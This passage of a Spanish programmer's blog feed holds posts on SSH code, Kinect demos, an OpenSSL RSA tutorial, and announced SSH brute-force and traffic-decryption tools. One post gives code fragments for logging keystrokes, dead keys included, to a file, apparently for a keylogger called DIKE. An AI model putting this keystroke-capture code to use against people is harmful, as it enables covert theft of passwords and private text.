src='https://blogger.googleusercontent.com/tracker/8248563728475996452-1418283276931308542?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/1418283276931308542/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2011/04/ley-lleras.html#comment-form' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/1418283276931308542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/1418283276931308542'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2011/04/ley-lleras.html' title='Ley Lleras'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-dniLeYlSRsw/TY-VpQykyYI/AAAAAAAAFkc/fB7lAKOeUno/s72-c/199.gif' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-7447623226874492621</id><published>2011-03-21T02:39:00.004-05:00</published><updated>2011-03-21T02:46:38.781-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Yo'/><category scheme='http://www.blogger.com/atom/ns#' term='Y yo que se'/><title type='text'>Tiempo</title><content type='html'>De hecho aunque en mi ambiente laboral soy el mas "peke", ya es el momento en el que se mira atrás y se ven demasiados años, personas, momentos y sobre todo escenas que han pasado, es ahora cuando se hace un alto y te das cuenta donde empezaste y donde estas. He de reconocer que he dicho "Nada mal", pero también he de reconocer que hay cierta nostalgia de no haber detenido el tiempo cuando podía.&lt;br /&gt;Aun hoy en día me restan muchas cosas por hacer y solo queda esperar que el tiempo sea benevolente conmigo.&lt;br /&gt;&lt;br /&gt;PD: Solo 640 días mas!!!!&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-7447623226874492621?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/7447623226874492621/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2011/03/tiempo.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/7447623226874492621'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/7447623226874492621'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2011/03/tiempo.html' title='Tiempo'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-3010770522492317974</id><published>2010-12-28T10:46:00.001-05:00</published><updated>2010-12-28T10:48:24.082-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>Just... I don't know</title><content type='html'>&lt;span style="font-style:italic;"&gt;long CSSHCrypt::AddAlgsNames( byte *pbtBuff, int iMaxSize, u_long ulOpts, u_long ulLimit, ALGGETNAMEFUNC fnAlgFnc)&lt;br /&gt;{&lt;br /&gt; u_long ulBase = 0, ulAux = 0x01L;&lt;br /&gt; const char *pszTmp = NULL;&lt;br /&gt; u_long ulTmp = 0;&lt;br /&gt;&lt;br /&gt; for ( ulBase = sizeof( u_long ); ulAux &lt; ulLimit; ulAux &lt;&lt;= 1) {&lt;br /&gt;  if ((ulOpts &amp; ulAux) != ulAux)&lt;br /&gt;   continue;&lt;br /&gt;  &lt;br /&gt;  pszTmp = (this-&gt;*fnAlgFnc)( ulAux );&lt;br /&gt;&lt;br /&gt;  if (pszTmp == NULL)&lt;br /&gt;   continue;&lt;br /&gt;&lt;br /&gt;  // If is our next param we need a separator&lt;br /&gt;  if (ulTmp &gt; 0)&lt;br /&gt;   pbtBuff[ulBase++] = CSSH_CONCAT_CHAR;&lt;br /&gt;&lt;br /&gt;  ulTmp = strlen( pszTmp );&lt;br /&gt;&lt;br /&gt;  // overflow :/, set quiet error and exit&lt;br /&gt;  if ((ulBase + ulTmp) &gt; iMaxSize) {&lt;br /&gt;   CSSHError::SetError( CSSH_ERR_NOT_ENOUGH_BUFFER );&lt;br /&gt;   return 0;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  memcpy( &amp;pbtBuff[ulBase], pszTmp, ulTmp);&lt;br /&gt;&lt;br /&gt;  ulBase += ulTmp;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; ulTmp = htonl((ulBase - sizeof( u_long )));&lt;br /&gt;&lt;br /&gt; memcpy( pbtBuff, &amp;ulTmp, sizeof( u_long ));&lt;br /&gt;&lt;br /&gt; return ulBase;&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Fuck you SSH!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-3010770522492317974?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/3010770522492317974/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2010/12/just-i-dont-know.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/3010770522492317974'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/3010770522492317974'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2010/12/just-i-dont-know.html' title='Just... I don&apos;t know'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-6702322239640209842</id><published>2010-12-17T11:27:00.004-05:00</published><updated>2010-12-20T13:15:54.717-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Kinect'/><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>Kinect UI</title><content type='html'>&lt;object width="640" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/CE206hP7ryg?fs=1&amp;amp;hl=es_ES&amp;amp;rel=0&amp;amp;color1=0x3a3a3a&amp;amp;color2=0x999999"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/CE206hP7ryg?fs=1&amp;amp;hl=es_ES&amp;amp;rel=0&amp;amp;color1=0x3a3a3a&amp;amp;color2=0x999999" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;:).&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-6702322239640209842?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/6702322239640209842/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2010/12/lalallalala-lala.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/6702322239640209842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/6702322239640209842'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2010/12/lalallalala-lala.html' title='Kinect UI'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-5446283342369776967</id><published>2010-12-15T11:07:00.001-05:00</published><updated>2011-01-15T19:08:59.793-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Kinect'/><category scheme='http://www.blogger.com/atom/ns#' term='Yo'/><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>Fist Attempt</title><content type='html'>&lt;object width="640" height="505"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ED1P87Xwrrg?fs=1&amp;amp;hl=es_ES&amp;amp;rel=0&amp;amp;color1=0x3a3a3a&amp;amp;color2=0x999999"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/ED1P87Xwrrg?fs=1&amp;amp;hl=es_ES&amp;amp;rel=0&amp;amp;color1=0x3a3a3a&amp;amp;color2=0x999999" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="505"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Motafucka.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-5446283342369776967?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/5446283342369776967/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2010/12/fist-attempt.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/5446283342369776967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/5446283342369776967'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2010/12/fist-attempt.html' title='Fist Attempt'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-357878003858071227</id><published>2010-12-06T02:42:00.001-05:00</published><updated>2010-12-06T02:42:49.511-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>ToAscii &amp;&amp; ToUnicode ( Y las versiones Ex )</title><content type='html'>&lt;div align="justify"&gt;Dicese, que un buen día tuve que retomar algo muy...muy...muy abandonado como lo es DIKE, los que recuerden sabrán que DIKE tiene un problema en Windows 7 con los acentos, ya que los desactiva al usuario aunque los loguee correctamente, después de 2 días investigando y probando llegue a la solución del problema, la cual ni siquiera documentada esta, así que a explicar.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;ToAscii &amp;amp;&amp;amp; ToAsciiEx &amp;amp;&amp;amp; ToUnicode &amp;amp;&amp;amp; ToUnicodeEx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Estas funciones estan diseñadas para realizar la "traducción" de códigos de teclas virtuales + flags de estas + estado del teclado + configuración regional del teclado, a sus correspondientes teclas, estas proveen un mecanismo de detección de la tecla bastante efectivo y preciso, el problema de estas es el manejo de "Dead Keys".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Dead Keys&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Las Dead Keys son teclas especiales que actúan como modificadoras de una tecla base, un claro ejemplo de esto son las tildes, tenemos como base la tecla "a" y como dead key "´", siendo que la misma no se muestra a menos de ser presionada nuevamente, en combinación con una tecla base como "a" tenemos el resultado "á", esto significa que la información acerca de las dead keys presionadas es almacenada en un buffer.&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;Dead Keys en el Buffer&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;Cuando hacemos uso de ToAscii, ToUnicode, etc... este toma la información del buffer del teclado que posee y realiza la traducción de la tecla segun los diferentes que toma, en determinados casos cuando se procesan dead keys la funcion falla y al realizar la traducción realiza una limpieza de este buffer, removiendo la dead key, esto constituye el que la tecla no se envíe como un evento del teclado a las demás aplicaciones, la documentación oficialmente dice:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;The parameters supplied to the ToAsciiEx function might not be sufficient to translate the virtual-key code, because a previous dead key is stored in the keyboard layout.&lt;/blockquote&gt;&lt;br /&gt;En este caso el problema que nos causan las dead keys al estar presentes es el tener que procesarlas, en este caso lo que tenemos que hacer es intentar el dejar el buffer con la misma información que poseía cuando intentamos procesar la dead key y pasar a la siguiente tecla que vamos a loguear. Oficialmente no existe una documentación que mencione el proceso, pero gracias a un programador de microsoft y su blog ( lo siento, perdí el enlace ) el mismo nos menciona como.&lt;br /&gt;&lt;br /&gt;El truco es el realizar múltiples llamadas a ToAscii, etc... con la misma información de la dead key hasta que el valor de retorno sea mayor a 0, esto logra limpiar el buffer para poder posteriormente re introducir la dead key en combinación con una tecla base si llegase a ser el caso. Una vez "procesada" la dead key lo que debemos hacer es restablecer el estado del buffer usando la información inicial ( la de la dead key ) una vez procesada la tecla base, logrando limpiar el buffer totalmente:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;GetKeyboardState( btKeybState );&lt;br /&gt; hklKeybLayout = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), NULL));&lt;br /&gt; &lt;br /&gt; iRet = ToAsciiEx( iKey, iKeyData, btKeybState, (LPWORD)szKeyName, 0, hklKeybLayout);&lt;br /&gt;&lt;br /&gt; if (iRet == -1) {&lt;br /&gt;  iLastKey  = iKey;&lt;br /&gt;  iLastKeyData = iKeyData;&lt;br /&gt;&lt;br /&gt;  while (ToAsciiEx( iKey, iKeyData, btKeybState, (LPWORD)szKeyName, 0, hklKeybLayout) &lt;&gt; 0)&lt;br /&gt;  WriteToFile( iRet, szKeyName);&lt;br /&gt; &lt;br /&gt; if (iLastKey != 0) {&lt;br /&gt;  memset( btKeybState, 0, TWOKEY_KEYB_SIZE + 1);&lt;br /&gt;  &lt;br /&gt;  ToAsciiEx( iLastKey, iLastKeyData, btKeybState, (LPWORD)szKeyName, 0, hklKeybLayout);&lt;br /&gt;&lt;br /&gt;  iLastKey = 0;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; return; &lt;/blockquote&gt;&lt;br /&gt;Aunque la solución parezca simple, si no esta documentada ( y no lo esta ) es un verdadero martirio el encontrar la solución y sobre todo algo de documentación al respecto que pueda ayudar, como complemento podemos elegir el no procesar ciertas teclas que de por si pueden ser mejor traducidas con "GetKeyNameText", en código es algo como:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;#define IS_SPECIAL_CHAR( x )   ((ispunct(x) != 0 &amp;amp;&amp;amp; iscntrl(x) != 0  &amp;amp;&amp;amp; isalnum(x) == 0) || ((x &gt;= VK_LBUTTON &amp;amp;&amp;amp; x &lt;= VK_HELP &amp;amp;&amp;amp; x != VK_SPACE) || (x &gt;= VK_LWIN &amp;amp;&amp;amp; x &lt;= VK_NUMPAD9) || (x &gt;= VK_F1 &amp;amp;&amp;amp; x &lt;= VK_F12)))   if (IS_SPECIAL_CHAR( iKey ) != 0) {   iRet = GetKeyNameText( iKeyData, szKeyName, 32);    if (iRet &gt; 0)&lt;br /&gt;   WriteToFile( "[%s]", szKeyName);&lt;br /&gt;&lt;br /&gt;  return;&lt;br /&gt; }&lt;/blockquote&gt;&lt;br /&gt;Ya con esto debemos tener un manejo casi perfecto de las dead keys ;).&lt;br /&gt;&lt;br /&gt;PD: DKEY esta terminado ya pero en private release and testing.&lt;br /&gt;&lt;br /&gt;Saludos.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-357878003858071227?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/357878003858071227/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2010/12/toascii-tounicode-y-las-versiones-ex.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/357878003858071227'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/357878003858071227'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2010/12/toascii-tounicode-y-las-versiones-ex.html' title='ToAscii &amp;&amp; ToUnicode ( Y las versiones Ex )'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-5045822410631619155</id><published>2010-06-10T12:12:00.002-05:00</published><updated>2011-05-18T12:15:52.450-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Yo'/><title type='text'>Blackhat Arsenal</title><content type='html'>Pues eso, Soy Speaker de Blackhat Arsenal 2010 con el proyecto Scylla del cual hace parte SSHLogin.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;HPTA VIDA SOY FELIZ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! xD.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-5045822410631619155?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/5045822410631619155/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2010/06/blackhat.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/5045822410631619155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/5045822410631619155'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2010/06/blackhat.html' title='Blackhat Arsenal'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-3146858899927978550</id><published>2010-05-30T22:14:00.003-05:00</published><updated>2010-06-18T01:15:55.554-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>SSHack</title><content type='html'>Pues... en base a todo el trabajo realizado para SSHLogin decidí hacer SSHack que es básicamente una herramienta capaz de descifrar el trafico SSH(2) siempre y cuando se cumplan 2 condiciones:&lt;br /&gt;&lt;br /&gt;1. Capturar el trafico desde el comienzo y en Full Duplex.&lt;br /&gt;2. No perder ningún paquete de la comunicación ( El cifrado es comúnmente CBC y la perdida de paquetes imposibilita el descifrado de la comunicación. ).&lt;br /&gt;&lt;br /&gt;El desarrollo de SSHack comienza a partir de hoy.&lt;br /&gt;&lt;br /&gt;Update 18 de Junio: Dem trabajo, todavía no he empezado.&lt;br /&gt;&lt;br /&gt;Salu2.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-3146858899927978550?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/3146858899927978550/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2010/05/sshack.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/3146858899927978550'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/3146858899927978550'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2010/05/sshack.html' title='SSHack'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-8986564578898177362</id><published>2010-05-16T17:10:00.003-05:00</published><updated>2010-05-30T22:14:33.243-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>SSHLogin</title><content type='html'>Básicamente en mi team, osease CUT, osease http://www.colombiaunderground.org, se me pidió el que realizara un modulo para fuerza bruta sobre SSH para ser integrado a un proyecto del team llamado "Scylla". Los que conozcan este protocolo sabrán que no es tan simple y no es un telnet con OpenSSL como muchos creen, ya completo unos cuantos días codeando y estoy cerca de acabar, así que cuando este listo habar post acerca de todas las desventuras y aventuras de como fue realizado.&lt;br /&gt;&lt;br /&gt;Update: Finalizado, post con benchmark y demas http://foro.colombiaunderground.org/index.php/topic,5137.0.html.&lt;br /&gt;&lt;br /&gt;Salu2.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-8986564578898177362?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/8986564578898177362/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2010/05/sshlogin.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/8986564578898177362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/8986564578898177362'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2010/05/sshlogin.html' title='SSHLogin'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-5876434339628518067</id><published>2010-05-16T02:40:00.000-05:00</published><updated>2011-05-16T15:59:56.654-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>RSA, Certificados X509 y OpenSSL</title><content type='html'>Debido a que e visto que no es un tema muy común el uso de diferentes librerías, que muchas  veces las manpages no dejan si no más dudas y que los ejemplos a veces son complicados de  encontrar; he creado este mini articulo de cómo usar el cifrado RSA junto con Certificados  x509 mediante OpenSSL; de una vez advierto el que no me detendré a explicar que es RSA,  certificados x509 u OpenSSL.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Comenzando&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bueno venga lo primero que tenemos que tener es un certificado x509 que nos funcione, así que generamos una llave privada de la siguiente forma:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;openssl dsaparam -rand -genkey -out privkey.txt 1024&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Listo la llave privada, ahora la usamos para crear nuestro certificado personal:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;openssl req -new -x509 -days 365 -key privkey.txt -out cert.crt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ya teniendo tanto el certificado como la llave privada podemos proceder a la parte interesante, que es utilizarlos.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Cargando el certificado&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;La idea de cargar el certificado es tener como tal la llave pública del mismo y usar esta  para realizar algún proceso en específico como lo puede ser la autenticidad de un  mensaje/archivo o el cifrado del mismo.&lt;br /&gt;En este caso la forma de cargar el certificado mediante OpenSSL es bastante simple:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;bool CRSA::LoadPublicKey( const char *pszCertFile )&lt;br /&gt;{&lt;br /&gt; FILE *pfFile = NULL;&lt;br /&gt; X509 *pxCert;&lt;br /&gt; &lt;br /&gt; pfFile = fopen( pszCertFile,"r"); &lt;br /&gt;&lt;br /&gt; if (pfFile == NULL) {&lt;br /&gt;  SetErr( CRSA_ERR_UNABLE_TO_OPEN_FILE );&lt;br /&gt;  return false;&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt; pxCert = X509_new();&lt;br /&gt;&lt;br /&gt; if (pxCert == NULL) {&lt;br /&gt;  SetErr( CRSA_ERR_UNABLE_TO_ALLOCATE_CERT );&lt;br /&gt;  fclose( pfFile );&lt;br /&gt;  return false;&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt; if (PEM_read_X509( pfFile, &amp;pxCert, NULL, NULL) == NULL) {&lt;br /&gt;  SetErr( CRSA_ERR_OPEN_SSL_INTERNAL );&lt;br /&gt;  fclose( pfFile );&lt;br /&gt;  X509_free( pxCert );&lt;br /&gt;  return false;&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt; fclose( pfFile );&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El que no sepa que es "PEM" directamente a wikipedia a leer:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Privacy_Enhanced_Mail"&gt;http://en.wikipedia.org/wiki/Privacy_Enhanced_Mail&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Este código es extraído de mi librería para manejo básico de RSA con OpenSSL, esta muestra  las diferentes operaciones que en realidad se limitan a &lt;span style="font-weight:bold;"&gt;"PEM_read_X509"&lt;/span&gt;, cabe señalar el que  también es válido cargar un certificado que traiga la llave privada embebida y en ese caso  debemos especificar la contraseña del archivo; el prototipo de la función es:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;X509 *PEM_read_X509(FILE *fp, X509 **x, pem_password_cb *cb, void *u);&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;En este caso el argumento que nos interesa es pem_password_cb que es la callback seteada para especificar el password del certificado, lo cual sería algo como:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;int PassCllBck(char *pszBuf, int iSize, int iRW, void *lvParam);&lt;br /&gt;{&lt;br /&gt;       int iLen = strlen("MyPass");&lt;br /&gt;&lt;br /&gt;       // Si es demasiado larga, limitamos el tamaño&lt;br /&gt;       if (iLen &gt; iSize)&lt;br /&gt;           iLen = iSize;&lt;br /&gt;&lt;br /&gt;       memcpy( pszBuf, "MyPass", iLen);&lt;br /&gt;&lt;br /&gt;       return iLen;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Esto es válido para todas las funciones que implican el uso de algún password y que implementen callbacks como lo son &lt;span style="font-weight:bold;"&gt;"PEM_read_PrivateKey"&lt;/span&gt; y &lt;span 